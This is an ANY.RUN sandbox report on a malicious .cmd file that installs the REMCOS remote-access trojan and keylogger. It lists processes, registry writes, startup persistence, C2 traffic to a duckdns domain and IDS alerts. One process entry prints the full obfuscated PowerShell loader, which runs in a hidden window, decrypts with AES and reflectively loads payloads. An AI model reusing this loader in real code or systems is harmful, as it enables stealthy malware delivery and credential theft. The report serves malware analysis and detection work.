| File name: | client list-pdf.cmd |
| Full analysis: | https://app.any.run/tasks/812c0d32-8745-4e03-917f-de62447649ff |
| Verdict: | Malicious activity |
| Threats: | A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools. |
| Analysis date: | September 10, 2024, 03:25:33 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | text/plain |
| File info: | ASCII text, with very long lines (57450), with CRLF line terminators |
| MD5: | F62A63746F36612B6E5FC0C674703C60 |
| SHA1: | 4C27E05AC088F8A412A28768CD12B25FDC9B4F7D |
| SHA256: | F61FF4C158C3E4C253E1DCC636CED9F6C39633CFC7191137B4D49C6C75589C13 |
| SSDEEP: | 6144:t5Wpgw8r95f3+MQz+P71Z/7jpYnJpLxE6fMUvEvk21kP1O2oY06LF0dJYOvFm:t4Yr952fKLXpYnJpNE6E/V0V86LKXs |
MALICIOUS
Run PowerShell with an invisible window
- powershell.exe (PID: 4976)
Uses AES cipher (POWERSHELL)
- powershell.exe (PID: 2820)
Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)
- powershell.exe (PID: 2820)
Dynamically loads an assembly (POWERSHELL)
- powershell.exe (PID: 2820)
REMCOS has been detected
- powershell.exe (PID: 2820)
- powershell.exe (PID: 2820)
Create files in the Startup directory
- powershell.exe (PID: 2820)
REMCOS has been detected (SURICATA)
- powershell.exe (PID: 2820)
Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)
- powershell.exe (PID: 2820)
Request from PowerShell which ran from CMD.EXE
- powershell.exe (PID: 2820)
SUSPICIOUS
Cryptography encrypted command line is found
- cmd.exe (PID: 3112)
Starts POWERSHELL.EXE for commands execution
- cmd.exe (PID: 2724)
- powershell.exe (PID: 2820)
Application launched itself
- powershell.exe (PID: 2820)
- cmd.exe (PID: 2724)
Executing commands from ".cmd" file
- cmd.exe (PID: 2724)
Uses base64 encoding (POWERSHELL)
- powershell.exe (PID: 2820)
Writes files like Keylogger logs
- powershell.exe (PID: 2820)
Connects to unusual port
- powershell.exe (PID: 2820)
Checks for external IP
- powershell.exe (PID: 2820)
Contacting a server suspected of hosting an CnC
- powershell.exe (PID: 2820)
Starts CMD.EXE for commands execution
- cmd.exe (PID: 2724)
INFO
Checks current location (POWERSHELL)
- powershell.exe (PID: 2820)
- powershell.exe (PID: 4976)
Uses string split method (POWERSHELL)
- powershell.exe (PID: 2820)
Gets data length (POWERSHELL)
- powershell.exe (PID: 2820)
Creates files in the program directory
- powershell.exe (PID: 2820)
Uses string replace method (POWERSHELL)
- powershell.exe (PID: 2820)
The process uses the downloaded file
- powershell.exe (PID: 4976)
- WINWORD.EXE (PID: 3972)
- powershell.exe (PID: 2820)
Sends debugging messages
- WINWORD.EXE (PID: 3972)
Manual execution by a user
- WINWORD.EXE (PID: 3972)
Checks proxy server information
- powershell.exe (PID: 2820)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
142
Monitored processes
10
Malicious processes
2
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 2256 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2576 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2724 | C:\WINDOWS\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\client list-pdf.cmd" " | C:\Windows\System32\cmd.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2820 | "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3112 | C:\WINDOWS\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('7J8R5BXqkztqhaudGAtBdW39GHsWxKy1Qg5HWYwVAXA='); $aes_var.IV=[System.Convert]::FromBase64String('Ci3J7srvt5gC9+b9v1AbzQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$gFNVV=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$AZdib=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$FhHnN=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($gFNVV, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $FhHnN.CopyTo($AZdib); $FhHnN.Dispose(); $gFNVV.Dispose(); $AZdib.Dispose(); $AZdib.ToArray();}function execute_function($param_var,$param2_var){ IEX '$VKwGT=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$TlbgD=$VKwGT.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$TlbgD.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$cnvfP = 'C:\Users\admin\AppData\Local\Temp\client list-pdf.cmd';$host.UI.RawUI.WindowTitle = $cnvfP;$Igvbm=[System.IO.File]::ReadAllText($cnvfP).Split([Environment]::NewLine);foreach ($fHzkW in $Igvbm) { if ($fHzkW.StartsWith('TDMdwcfxTTzRIbJnKRgn')) { $aFGHV=$fHzkW.Substring(20); break; }}$payloads_var=[string[]]$aFGHV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); " | C:\Windows\System32\cmd.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 3972 | "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\admin\Desktop\maypaper.rtf" /o "" | C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE | explorer.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 16.0.16026.20146 Modules
| |||||||||||||||
| 4976 | "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 5220 | "C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe" "77502EFE-6148-4688-B2F5-69A2A178D117" "D0493A0A-E65D-4849-9DFC-EBC469502DFE" "3972" | C:\Program Files\Microsoft Office\root\VFS\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\ai.exe | — | WINWORD.EXE | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Artificial Intelligence (AI) Host for the Microsoft® Windows® Operating System and Platform x64. Exit code: 0 Version: 0.12.2.0 Modules
| |||||||||||||||
| 6884 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | — | SppExtComObj.Exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 6936 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
| |||||||||||||||
Total events
18 731
Read events
18 407
Write events
294
Delete events
30
Modification events
| (PID) Process: | (2820) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Rmc-Y8FBEO |
| Operation: | write | Name: | exepath |
Value: 83ACDAE4D73BB5F03B2E19BDC164E8962BAC8B903E02AF5407D8D6D364A34C44E13725256E6250AB123A762EF2EEB06F3AA7618561635601F93E54D99AD823CFD25B0FA95A58732772E67A05122F5F6EF63484A165A50A9D1917740F3B8B2ECB553072E690D0CBBB182CB2CC462BCC1CDB123C4B | |||
| (PID) Process: | (2820) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Rmc-Y8FBEO |
| Operation: | write | Name: | licence |
Value: F8CD9C6C752DF04753ADE636896E4417 | |||
| (PID) Process: | (2820) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Rmc-Y8FBEO |
| Operation: | write | Name: | time |
Value: | |||
| (PID) Process: | (2820) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content |
| Operation: | write | Name: | CachePrefix |
Value: | |||
| (PID) Process: | (2820) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies |
| Operation: | write | Name: | CachePrefix |
Value: Cookie: | |||
| (PID) Process: | (2820) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History |
| Operation: | write | Name: | CachePrefix |
Value: Visited: | |||
| (PID) Process: | (3972) WINWORD.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\ClientTelemetry\Sampling |
| Operation: | write | Name: | 0 |
Value: 017012000000001000B24E9A3E01000000000000000500000000000000 | |||
| (PID) Process: | (3972) WINWORD.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\5932 |
| Operation: | delete value | Name: | 0 |
Value: ซ괐殺ࠆꯞꝅ莼跳⏺䘅헉꾍樁င$梅摝麨
ީ湕湫睯쥮賙ᒳ肫 | |||
| (PID) Process: | (3972) WINWORD.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\5932 |
| Operation: | delete key | Name: | (default) |
Value: | |||
| (PID) Process: | (3972) WINWORD.EXE | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\Common\CrashPersistence\WINWORD\3972 |
| Operation: | write | Name: | 0 |
Value: 0B0E108802123D14CB0C46AFEA81E582CDF247230046C398E18B93E6C0ED016A04102400449A7D64B29D01008500A907556E6B6E6F776EC906022222CA0DC2190000C91003783634C511841FD2120B770069006E0077006F00720064002E00650078006500C51620C517808004C91808323231322D44656300 | |||
Executable files
1
Suspicious files
30
Text files
9
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2820 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_q3pxiaj5.l40.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2820 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_mbhcfxve.uf3.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 4976 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_ua0pxnc1.t0r.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
| 2820 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd | text | |
MD5:F62A63746F36612B6E5FC0C674703C60 | SHA256:F61FF4C158C3E4C253E1DCC636CED9F6C39633CFC7191137B4D49C6C75589C13 | |||
| 2820 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR3E01RZ\json[1].json | binary | |
MD5:B9DAD5C251F65EFA69BC3920B45887F8 | SHA256:4F07C5F3ED7DB3E5F5BDB85BF4F873C249D4CD86BAF0DC1F1C9AD2C7BD2E6E02 | |||
| 3972 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Office\16.0\WebServiceCache\AllUsers\officeclient.microsoft.com\1002983E-B073-4A71-BE8B-A4B03DA13410 | xml | |
MD5:D8318F682B1F5C34A1214821EBAD4757 | SHA256:5857F925C2E5F5ACCE8E8CB955674AB173B8EF5659571F0E70F7972959BC58D3 | |||
| 3972 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | binary | |
MD5:A15F1B8AB9B0F353822FBF491F412BF9 | SHA256:DB311EE0DF8B339D204B8C4A4D03C59FA881F964C6C3AD66071930B651C0910A | |||
| 3972 | WINWORD.EXE | C:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9 | der | |
MD5:FB6D48DAD9B7772689E7F825B3774772 | SHA256:D21E170115828F1CAB36A101F06C2212596BFBC6BCDAE8EC2CF34E48FBBE6F19 | |||
| 3972 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres | binary | |
MD5:75AF166B42622AA1297640829882BA06 | SHA256:557980BFC9C4002D75C1D7A7092BB0747B279C2469A31717FAF7593B3E5AE6D9 | |||
| 4976 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_scpsr4fu.jjh.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
46
DNS requests
26
Threats
5
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
7056 | svchost.exe | GET | 200 | 23.52.120.96:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
2820 | powershell.exe | GET | 200 | 178.237.33.50:80 | http://geoplugin.net/json.gp | unknown | — | — | whitelisted |
2660 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
6120 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
6120 | SIHClient.exe | GET | 200 | 95.101.149.131:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
3972 | WINWORD.EXE | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEA77flR%2B3w%2FxBpruV2lte6A%3D | unknown | — | — | whitelisted |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
6288 | RUXIMICS.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
2120 | MoUsoCoreWorker.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
7056 | svchost.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
7056 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
7056 | svchost.exe | 23.52.120.96:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
2820 | powershell.exe | 23.105.171.81:35550 | megafusion.duckdns.org | LEASEWEB-USA-WDC | US | malicious |
2820 | powershell.exe | 178.237.33.50:80 | geoplugin.net | Schuberg Philis B.V. | NL | malicious |
3260 | svchost.exe | 40.113.103.199:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2660 | svchost.exe | 20.190.159.71:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
megafusion.duckdns.org |
| malicious |
geoplugin.net |
| malicious |
client.wns.windows.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2256 | svchost.exe | Potentially Bad Traffic | ET INFO DYNAMIC_DNS Query to a *.duckdns .org Domain |
2256 | svchost.exe | Misc activity | ET INFO DYNAMIC_DNS Query to *.duckdns. Domain |
2820 | powershell.exe | A Network Trojan was detected | REMOTE [ANY.RUN] REMCOS TLS Connection JA3 Hash |
2820 | powershell.exe | Malware Command and Control Activity Detected | ET JA3 Hash - Remcos 3.x/4.x TLS Connection |
1 ETPRO signatures available at the full report
Process | Message |
|---|---|
WINWORD.EXE | WebView2: Failed to find an installed WebView2 runtime or non-stable Microsoft Edge installation.
|
WINWORD.EXE | WebView2: Failed to find an installed WebView2 runtime or non-stable Microsoft Edge installation.
|
WINWORD.EXE | WebView2: Failed to find an installed WebView2 runtime or non-stable Microsoft Edge installation.
|